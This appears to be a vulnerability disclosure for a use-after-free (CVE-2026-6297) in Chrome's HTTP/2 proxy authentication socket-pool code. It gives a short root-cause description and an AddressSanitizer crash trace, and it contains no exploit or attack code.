Use after free in Proxy (CVE-2026-6297)
A heap-use-after-free occurs in Chrome's HTTPS HTTP/2 proxy authentication flow, where socket-pool state is freed while another code path still holds and dereferences it. An attacker who can influence proxy authentication handling could potentially trigger a crash of the browser process.
- Fix shipped in 30 days
VULNERABILITY DETAILS
This issue is a heap-use-after-free in Chrome’s HTTPS HTTP/2 proxy authentication flow, in the net/socket/transport_client_socket_pool + net/http/ http_proxy_connect_job + net/spdy/spdy_proxy_client_socket path, with the recorded crashing family at net::TransportClientSocketPool::Group::IsEmpty() const.
The most likely root cause is a lifetime bug during proxy-auth challenge handling and connection teardown, where a socket-pool group or closely related state is destroyed or invalidated while another path still retains and later dereferences it.
=================================================================
==3183368==ERROR: AddressSanitizer: heap-use-after-free on address 0x7cf38a35bad0 at pc 0x7f94e5a76274 bp 0x7b937c7ad4a0 sp 0x7b937c7ad498
READ of size 8 at 0x7cf38a35bad0 thread T5 (Chrome_ChildIOT)
[3183402:3183402:0315/043531.508658:ERROR:content/renderer/render_process_impl.cc:216] WebFrame LEAKED 1 TIMES
#0 0x7f94e5a76273 in net::TransportClientSocketPool::Group::IsEmpty() const net/socket/transport_client_socket_pool.h:350:14
#1 0x7f94e5a55d89 in net::TransportClientSocketPool::RequestSocketInternal(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Request const&, base::OnceCallback<void ()>) net/socket/transport_client_socket_pool.cc:495:14
#2 0x7f94e5a5471d in net::TransportClientSocketPool::RequestSocket(net::ClientSocketPool::GroupId const&, scoped_refptr<net::ClientSocketPool::SocketParams>, std::__Cr::optional<net::NetworkTrafficAnnotationTag> const&, net::RequestPriority, net::SocketTag const&, net::ClientSocketPool::RespectLimits, net::ClientSocketHandle*, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&, net::NetLogWithSource const&) net/socket/transport_client_socket_pool.cc:274:7
#3 0x7f94e593149b in net::ClientSocketHandle::Init(net::ClientSocketPool::GroupId const&, scoped_refptr<net::ClientSocketPool::SocketParams>, std::__Cr::optional<net::NetworkTrafficAnnotationTag> const&, net::RequestPriority, net::SocketTag const&, net::ClientSocketPool::RespectLimits, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&, net::ClientSocketPool*, net::NetLogWithSource const&) net/socket/client_socket_handle.cc:51:19
#4 0x7f94e5940a1e in net::(anonymous namespace)::InitSocketPoolHelper(url::SchemeHostPort, int, net::RequestPriority, net::HttpNetworkSession*, net::ProxyInfo const&, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::PrivacyMode, net::NetworkAnonymizationKey, net::SecureDnsPolicy, net::SocketTag const&, net::NetLogWithSource const&, int, net::ClientSocketHandle*, net::HttpNetworkSession::SocketPoolType, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&) net/socket/client_socket_pool_manager.cc:131:25
#5 0x7f94e594009d in net::InitSocketHandleForHttpRequest(url::SchemeHostPort, int, net::RequestPriority, net::HttpNetworkSession*, net::ProxyInfo const&, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::PrivacyMode, net::NetworkAnonymizationKey, net::SecureDnsPolicy, net::SocketTag const&, net::NetLogWithSource const&, net::ClientSocketHandle*, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&) net/socket/client_socket_pool_manager.cc:226:10
#6 0x7f94e52d9296 in net::HttpStreamFactory::Job::DoInitConnectionImpl() net/http/http_stream_factory_job.cc:823:10
#7 0x7f94e52d43dd in net::HttpStreamFactory::Job::DoInitConnection() net/http/http_stream_factory_job.cc:702:16
#8 0x7f94e52d289b in net::HttpStreamFactory::Job::DoLoop(int) net/http/http_stream_factory_job.cc:630:14
#9 0x7f94e52d14a5 in net::HttpStreamFactory::Job::RunLoop(int) net/http/http_stream_factory_job.cc:531:12
#10 0x7f94e52c877e in net::HttpStreamFactory::Job::StartInternal() net/http/http_stream_factory_job.cc:655:3
#11 0x7f94e52c8553 in net::HttpStreamFactory::Job::Start(net::HttpStreamRequest::StreamType) net/http/http_stream_factory_job.cc:246:3
#12 0x7f94e5307007 in net::HttpStreamFactory::JobController::DoCreateJobs() net/http/http_stream_factory_job_controller.cc:1026:16
#13 0x7f94e53027b0 in net::HttpStreamFactory::JobController::DoLoop(int) net/http/http_stream_factory_job_controller.cc:807:14
#14 0x7f94e52f4629 in net::HttpStreamFactory::JobController::RunLoop(int) net/http/http_stream_factory_job_controller.cc:765:12
#15 0x7f94e52f41aa in net::HttpStreamFactory::JobController::Start(net::HttpStreamRequest::Delegate*, net::WebSocketHandshakeStreamBase::CreateHelper*, net::NetLogWithSource const&, net::HttpStreamRequest::StreamType, net::RequestPriority) net/http/http_stream_factory_job_controller.cc:232:3
#16 0x7f94e52bec72 in net::HttpStreamFactory::RequestStreamInternal(net::HttpRequestInfo const&, net::RequestPriority, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::HttpStreamRequest::Delegate*, net::WebSocketHandshakeStreamBase::CreateHelper*, net::HttpStreamRequest::StreamType, bool, bool, bool, net::NetLogWithSource const&) net/http/http_stream_factory.cc:232:34
#17 0x7f94e52be8a7 in net::HttpStreamFactory::RequestStream(net::HttpRequestInfo const&, net::RequestPriority, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::HttpStreamRequest::Delegate*, bool, bool, net::NetLogWithSource const&) net/http/http_stream_factory.cc:163:10
#18 0x7f94e517a039 in net::HttpNetworkTransaction::DoCreateStream() net/http/http_network_transaction.cc:1136:56
#19 0x7f94e516bc40 in net::HttpNetworkTransaction::DoLoop(int) net/http/http_network_transaction.cc:1009:14
#20 0x7f94e516add0 in net::HttpNetworkTransaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) net/http/http_network_transaction.cc:426:12
#21 0x7f94a0e21307 in network::ThrottlingNetworkTransaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) services/network/throttling/throttling_network_transaction.cc:137:34
#22 0x7f94e5920665 in net::SharedDictionaryNetworkTransaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) net/shared_dictionary/shared_dictionary_network_transaction.cc:114:34
#23 0x7f94e50c5eeb in net::HttpCache::Transaction::DoSendRequest() net/http/http_cache_transaction.cc:1921:28
#24 0x7f94e50af243 in net::HttpCache::Transaction::DoLoop(int) net/http/http_cache_transaction.cc:910:14
#25 0x7f94e50abf1c in net::HttpCache::Transaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) net/http/http_cache_transaction.cc:213:12
#26 0x7f94e5d00264 in net::URLRequestHttpJob::StartTransactionInternal() net/url_request/url_request_http_job.cc:782:26
#27 0x7f94e5cff301 in net::URLRequestHttpJob::MaybeStartTransactionInternal(int) net/url_request/url_request_http_job.cc:713:5
#28 0x7f94e5cfc976 in net::URLRequestHttpJob::StartTransaction() net/url_request/url_request_http_job.cc:692:5
#29 0x7f94e5cfb3e7 in net::URLRequestHttpJob::OnGotFirstPartySetMetadata(net::FirstPartySetMetadata, net::FirstPartySetsCacheFilter::MatchInfo) net/url_request/url_request_http_job.cc:557:5
#30 0x7f94e5cfaa48 in net::URLRequestHttpJob::Start() net/url_request/url_request_http_job.cc:493:5
#31 0x7f94e5cb1a30 in net::URLRequest::StartJob(std::__Cr::unique_ptr<net::URLRequestJob, std::__Cr::default_delete<net::URLRequestJob>>) net/url_request/url_request.cc:761:9
#32 0x7f94e5cb0910 in net::URLRequest::BeforeRequestComplete(int) net/url_request/url_request.cc:682:5
#33 0x7f94e5caf6f4 in net::URLRequest::Start() net/url_request/url_request.cc:621:7
#34 0x7f94a0e60fe1 in network::URLLoader::ScheduleStart() services/network/url_loader.cc:761:19
#35 0x7f94a0e6041b in network::URLLoader::ProcessOutboundSharedStorageInterceptor() services/network/url_loader.cc:743:3
#36 0x7f94a0e5cdc2 in network::URLLoader::ProcessOutboundTrustTokenInterceptor(network::ResourceRequest const&) services/network/url_loader.cc:671:5
#37 0x7f94a0e5ae2c in network::URLLoader::URLLoader(network::URLLoaderContext&, base::OnceCallback<void (network::URLLoader*)>, mojo::PendingReceiver<network::mojom::URLLoader>, int, network::ResourceRequest const&, mojo::PendingRemote<network::mojom::URLLoaderClient>, base::WeakPtr<network::mojom::URLLoaderClient>, net::NetworkTrafficAnnotationTag const&, base::numerics_internal::StrictNumeric<int>, int, base::WeakPtr<network::KeepaliveStatisticsRecorder>, std::__Cr::unique_ptr<network::TrustTokenRequestHelperFactory, std::__Cr::default_delete<network::TrustTokenRequestHelperFactory>>, network::SharedDictionaryManager*, std::__Cr::unique_ptr<network::SharedDictionaryAccessChecker, std::__Cr::default_delete<network::SharedDictionaryAccessChecker>>, network::ObserverWrapper<network::mojom::CookieAccessObserver>, network::ObserverWrapper<network::mojom::TrustTokenAccessObserver>, network::ObserverWrapper<network::mojom::URLLoaderNetworkServiceObserver>, network::ObserverWrapper<network::mojom::DevToolsObserver>, network::ObserverWrapper<network::mojom::DeviceBoundSessionAccessObserver>, mojo::PendingRemote<network::mojom::AcceptCHFrameObserver>, bool, network::SharedResourceChecker&, std::__Cr::unique_ptr<network::DevtoolsDurableMessageWriter, std::__Cr::default_delete<network::DevtoolsDurableMessageWriter>>, mojo::ScopedHandleBase<mojo::DataPipeProducerHandle>) services/network/url_loader.cc:561:3
#38 0x7f94a0f13b07 in std::__Cr::unique_ptr<network::URLLoader, std::__Cr::default_delete<network::URLLoader>> std::__Cr::make_unique<network::URLLoader, network::URLLoaderFactory&, base::OnceCallback<void (network::URLLoader*)>, mojo::PendingReceiver<network::mojom::URLLoader>, unsigned int&, network::ResourceRequest const&, mojo::PendingRemote<network::mojom::URLLoaderClient>, base::WeakPtr<network::mojom::URLLoaderClient>, net::NetworkTrafficAnnotationTag, int&, int&, base::WeakPtr<network::KeepaliveStatisticsRecorder>, std::__Cr::unique_ptr<network::TrustTokenRequestHelperFactory, std::__Cr::default_delete<network::TrustTokenRequestHelperFactory>>, network::SharedDictionaryManager*, std::__Cr::unique_ptr<network::SharedDictionaryAccessChecker, std::__Cr::default_delete<network::SharedDictionaryAccessChecker>>, network::ObserverWrapper<network::mojom::CookieAccessObserver>, network::ObserverWrapper<network::mojom::TrustTokenAccessObserver>, network::ObserverWrapper<network::mojom::URLLoaderNetworkServiceObserver>, network::ObserverWrapper<network::mojom::DevToolsObserver>, network::ObserverWrapper<network::mojom::DeviceBoundSessionAccessObserver>, mojo::PendingRemote<network::mojom::AcceptCHFrameObserver>, bool const&, network::SharedResourceChecker&, std::__Cr::unique_ptr<network::DevtoolsDurableMessageWriter, std::__Cr::default_delete<network::DevtoolsDurableMessageWriter>>, mojo::ScopedHandleBase<mojo::DataPipeProducerHandle>, 0>(network::URLLoaderFactory&, base::OnceCallback<void (network::URLLoader*)>&&, mojo::PendingReceiver<network::mojom::URLLoader>&&, unsigned int&, network::ResourceRequest const&, mojo::PendingRemote<network::mojom::URLLoaderClient>&&, base::WeakPtr<network::mojom::URLLoaderClient>&&, net::NetworkTrafficAnnotationTag&&, int&, int&, base::WeakPtr<network::KeepaliveStatisticsRecorder>&&, std::__Cr::unique_ptr<network::TrustTokenRequestHelperFactory, std::__Cr::default_delete<network::TrustTokenRequestHelperFactory>>&&, network::SharedDictionaryManager*&&, std::__Cr::unique_ptr<network::SharedDictionaryAccessChecker, std::__Cr::default_delete<network::SharedDictionaryAccessChecker>>&&, network::ObserverWrapper<network::mojom::CookieAccessObserver>&&, network::ObserverWrapper<network::mojom::TrustTokenAccessObserver>&&, network::ObserverWrapper<network::mojom::URLLoaderNetworkServiceObserver>&&, network::ObserverWrapper<network::mojom::DevToolsObserver>&&, network::ObserverWrapper<network::mojom::DeviceBoundSessionAccessObserver>&&, mojo::PendingRemote<network::mojom::AcceptCHFrameObserver>&&, bool const&, network::SharedResourceChecker&, std::__Cr::unique_ptr<network::DevtoolsDurableMessageWriter, std::__Cr::default_delete<network::DevtoolsDurableMessageWriter>>&&, mojo::ScopedHandleBase<mojo::DataPipeProducerHandle>&&) gen/third_party/libc++/src/include/__memory/unique_ptr.h:756:30
#39 0x7f94a0f0f778 in network::URLLoaderFactory::CreateLoaderAndStartWithSyncClient(mojo::PendingReceiver<network::mojom::URLLoader>, int, unsigned int, network::ResourceRequest const&, mojo::PendingRemote<network::mojom::URLLoaderClient>, base::WeakPtr<network::mojom::URLLoaderClient>, net::MutableNetworkTrafficAnnotationTag const&) services/network/url_loader_factory.cc:393:17
#40 0x7f94a073a05c in network::cors::CorsURLLoader::StartNetworkRequest() services/network/cors/cors_url_loader.cc:1044:35
#41 0x7f94a072eefe in network::cors::CorsURLLoader::StartRequest() services/network/cors/cors_url_loader.cc:932:5
#42 0x7f94a072de66 in network::cors::CorsURLLoader::Start() services/network/cors/cors_url_loader.cc:404:3
#43 0x7f94a076e054 in network::cors::CorsURLLoaderFactory::CreateLoaderAndStart(mojo::PendingReceiver<network::mojom::URLLoader>, int, unsigned int, network::ResourceRequest&, mojo::PendingRemote<network::mojom::URLLoaderClient>, net::MutableNetworkTrafficAnnotationTag const&) services/network/cors/cors_url_loader_factory.cc:492:17
#44 0x7f94a0b62d52 in network::PrefetchMatchingURLLoaderFactory::CreateLoaderAndStart(mojo::PendingReceiver<network::mojom::URLLoader>, int, unsigned int, network::ResourceRequest&, mojo::PendingRemote<network::mojom::URLLoaderClient>, net::MutableNetworkTrafficAnnotationTag const&) services/network/prefetch_matching_url_loader_factory.cc:105:10
#45 0x7f94a1960cba in network::mojom::URLLoaderFactoryStubDispatch::Accept(network::mojom::URLLoaderFactory*, mojo::Message*) gen/services/network/public/mojom/url_loader_factory.mojom.cc:352:13
#46 0x7f94a077c406 in network::mojom::URLLoaderFactoryStub<mojo::RawPtrImplRefTraits<network::mojom::URLLoaderFactory>>::Accept(mojo::Message*) gen/services/network/public/mojom/url_loader_factory.mojom.h:139:12
#47 0x7f94f6100b5e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
#48 0x7f94f60ff941 in mojo::InterfaceEndpointClient::HandleIncomingMessageThunk::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:383:18
#49 0x7f94f613e183 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
#50 0x7f94f6106900 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#51 0x7f94f6147de2 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:1204:42
#52 0x7f94f6146b26 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:790:7
#53 0x7f94f613e038 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#54 0x7f94f60bd463 in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) mojo/public/cpp/bindings/lib/connector.cc:568:49
#55 0x7f94f60bf03a in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:629:14
#56 0x7f94f60be9d2 in mojo::Connector::OnHandleReadyInternal(unsigned int) mojo/public/cpp/bindings/lib/connector.cc:454:3
#57 0x7f94f60be845 in mojo::Connector::OnWatcherHandleReady(char const*, unsigned int) mojo/public/cpp/bindings/lib/connector.cc:420:3
#58 0x7f94f60cba65 in void base::internal::DecayedFunctorTraits<void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const* const&>::Invoke<void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const*, unsigned int>(void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*&&, char const*&&, unsigned int&&) base/functional/bind_internal.h:740:12
#59 0x7f94f60cb73e in void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, void, 0ul, 1ul>::MakeItSo<void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, unsigned int>(void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, unsigned int&&) base/functional/bind_internal.h:932:12
#60 0x7f94f60cb461 in void base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::RunImpl<void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, 0ul, 1ul>(void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, std::__Cr::integer_sequence<unsigned long, 0ul, 1ul>, unsigned int&&) base/functional/bind_internal.h:1069:14
#61 0x7f94f60cb243 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) base/functional/bind_internal.h:989:12
#62 0x7f94f60c9e38 in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & base/functional/callback.h:346:12
#63 0x7f94f60c8fee in mojo::SimpleWatcher::DiscardReadyState(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.h:192:14
#64 0x7f94f60c96d1 in void base::internal::DecayedFunctorTraits<void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>::Invoke<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&>(void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&, unsigned int&&, mojo::HandleSignalsState const&) base/functional/bind_internal.h:673:12
#65 0x7f94f60c9609 in void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, void, 0ul>::MakeItSo<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, unsigned int, mojo::HandleSignalsState const&>(void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, unsigned int&&, mojo::HandleSignalsState const&) base/functional/bind_internal.h:932:12
#66 0x7f94f60c947c in void base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::RunImpl<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, 0ul>(void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, std::__Cr::integer_sequence<unsigned long, 0ul>, unsigned int&&, mojo::HandleSignalsState const&) base/functional/bind_internal.h:1069:14
#67 0x7f94f60c927b in base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) base/functional/bind_internal.h:989:12
#68 0x7f94f1def340 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & base/functional/callback.h:346:12
#69 0x7f94f1debbfa in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:286:14
#70 0x7f94f1def72f in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:97:22
#71 0x7f94f1dee017 in mojo::SimpleWatcher::Context::CallNotify(MojoTrapEvent const*) mojo/public/cpp/system/simple_watcher.cc:61:14
#72 0x7f94f1869305 in mojo::core::ipcz_driver::MojoTrap::DispatchEvent(MojoTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:605:3
#73 0x7f94f18666c0 in mojo::core::ipcz_driver::MojoTrap::DispatchOrQueueEvent(mojo::core::ipcz_driver::MojoTrap::Trigger&, MojoTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:577:5
#74 0x7f94f186878e in mojo::core::ipcz_driver::MojoTrap::HandleEvent(IpczTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:459:3
#75 0x7f94f186814c in mojo::core::ipcz_driver::MojoTrap::TrapEventHandler(IpczTrapEvent const*) mojo/core/ipcz_driver/mojo_trap.cc:393:41
#76 0x7f94f1a74c79 in ipcz::TrapEventDispatcher::DispatchAll() third_party/ipcz/src/ipcz/trap_event_dispatcher.cc:30:5
#77 0x7f94f1a74a68 in ipcz::TrapEventDispatcher::~TrapEventDispatcher() third_party/ipcz/src/ipcz/trap_event_dispatcher.cc:12:3
#78 0x7f94f1a44b56 in ipcz::Router::AcceptInboundParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/router.cc:272:1
#79 0x7f94f19a685b in ipcz::NodeLink::AcceptCompleteParcel(ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/node_link.cc:1082:31
#80 0x7f94f19aa140 in ipcz::NodeLink::OnAcceptParcel(ipcz::msg::AcceptParcel&) third_party/ipcz/src/ipcz/node_link.cc:666:10
#81 0x7f94f1a1e7e2 in ipcz::msg::NodeMessageListener::DispatchMessage(ipcz::Message&) third_party/ipcz/src/ipcz/node_messages.cc:914:14
#82 0x7f94f1a188cd in ipcz::msg::NodeMessageListener::OnMessage(ipcz::Message&) third_party/ipcz/src/ipcz/node_messages.cc:611:10
#83 0x7f94f1a1b552 in ipcz::msg::NodeMessageListener::OnTransportMessage(ipcz::DriverTransport::RawMessage const&, ipcz::DriverTransport const&, unsigned long) third_party/ipcz/src/ipcz/node_messages.cc:746:16
#84 0x7f94f192150e in ipcz::DriverTransport::Notify(ipcz::DriverTransport::RawMessage const&, unsigned long) third_party/ipcz/src/ipcz/driver_transport.cc:129:20
#85 0x7f94f1920e40 in ipcz::(anonymous namespace)::NotifyTransport(unsigned long, void const*, unsigned long, unsigned long const*, unsigned long, unsigned int, IpczTransportActivityOptions const*) third_party/ipcz/src/ipcz/driver_transport.cc:47:11
#86 0x7f94f188d709 in mojo::core::ipcz_driver::Transport::OnChannelMessage(void const*, unsigned long, std::__Cr::vector<mojo::PlatformHandle, std::__Cr::allocator<mojo::PlatformHandle>>, scoped_refptr<mojo::core::ipcz_driver::Envelope>) mojo/core/ipcz_driver/transport.cc:744:29
#87 0x7f94f17d3695 in mojo::core::Channel::TryDispatchMessage(base::span<char const, 18446744073709551615ul, char const*>, std::__Cr::optional<std::__Cr::vector<mojo::PlatformHandle, std::__Cr::allocator<mojo::PlatformHandle>>>, scoped_refptr<mojo::core::ipcz_driver::Envelope>, unsigned long*) mojo/core/channel.cc:1210:18
#88 0x7f94f17d17c4 in mojo::core::Channel::TryDispatchMessage(base::span<char const, 18446744073709551615ul, char const*>, unsigned long*) mojo/core/channel.cc:1122:10
#89 0x7f94f17d12ba in mojo::core::Channel::OnReadComplete(unsigned long, unsigned long*) mojo/core/channel.cc:1094:29
#90 0x7f94f18a9d49 in mojo::core::ChannelPosix::OnFdReadable(int) mojo/core/channel_posix.cc:301:12
#91 0x7f94f47d3949 in base::(anonymous namespace)::MessagePumpForIOFdWatchImpl::OnFileCanReadWithoutBlocking(int) base/message_loop/message_pump.cc:62:18
#92 0x7f94f50f281d in base::MessagePumpEpoll::FdWatchController::OnFdReadable() base/message_loop/message_pump_epoll.cc:760:13
#93 0x7f94f50f1dd1 in base::MessagePumpEpoll::HandleEvent(int, bool, bool, base::MessagePumpEpoll::FdWatchController*) base/message_loop/message_pump_epoll.cc:668:17
#94 0x7f94f50f0e03 in base::MessagePumpEpoll::OnEpollEvent(base::MessagePumpEpoll::EpollEventEntry&, unsigned int) base/message_loop/message_pump_epoll.cc:614:7
#95 0x7f94f50ed5a8 in base::MessagePumpEpoll::WaitForEpollEvents(base::TimeDelta) base/message_loop/message_pump_epoll.cc:506:7
#96 0x7f94f50ec36a in base::MessagePumpEpoll::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_epoll.cc:248:12
#97 0x7f94f4cb86c2 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#98 0x7f94f4a0f0e7 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#99 0x7f94f4e33591 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#100 0x7f94cfd13a12 in content::(anonymous namespace)::ChildIOThread::Run(base::RunLoop*) content/child/child_process.cc:69:19
#101 0x7f94f4e34241 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#102 0x7f94f4f3406c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#103 0x555f98508896 in asan_thread_start(void*) asan_interceptors.cpp
0x7cf38a35bad0 is located 336 bytes inside of 576-byte region [0x7cf38a35b980,0x7cf38a35bbc0)
freed by thread T5 (Chrome_ChildIOT) here:
#0 0x555f9854e7c2 in operator delete(void*, unsigned long) (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf3a07c2) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94e5a691b6 in net::TransportClientSocketPool::Group::~Group() net/socket/transport_client_socket_pool.cc:1499:44
#2 0x7f94e5a5c8fd in net::TransportClientSocketPool::RemoveGroup(std::__Cr::__map_iterator<std::__Cr::__tree_iterator<std::__Cr::__value_type<net::ClientSocketPool::GroupId, base::raw_ptr<net::TransportClientSocketPool::Group, (partition_alloc::internal::RawPtrTraits)1>>, std::__Cr::__tree_node<std::__Cr::__value_type<net::ClientSocketPool::GroupId, base::raw_ptr<net::TransportClientSocketPool::Group, (partition_alloc::internal::RawPtrTraits)1>>, void*>*, long>>) net/socket/transport_client_socket_pool.cc:995:3
#3 0x7f94e5a5749a in net::TransportClientSocketPool::RemoveGroup(net::ClientSocketPool::GroupId const&) net/socket/transport_client_socket_pool.cc:990:3
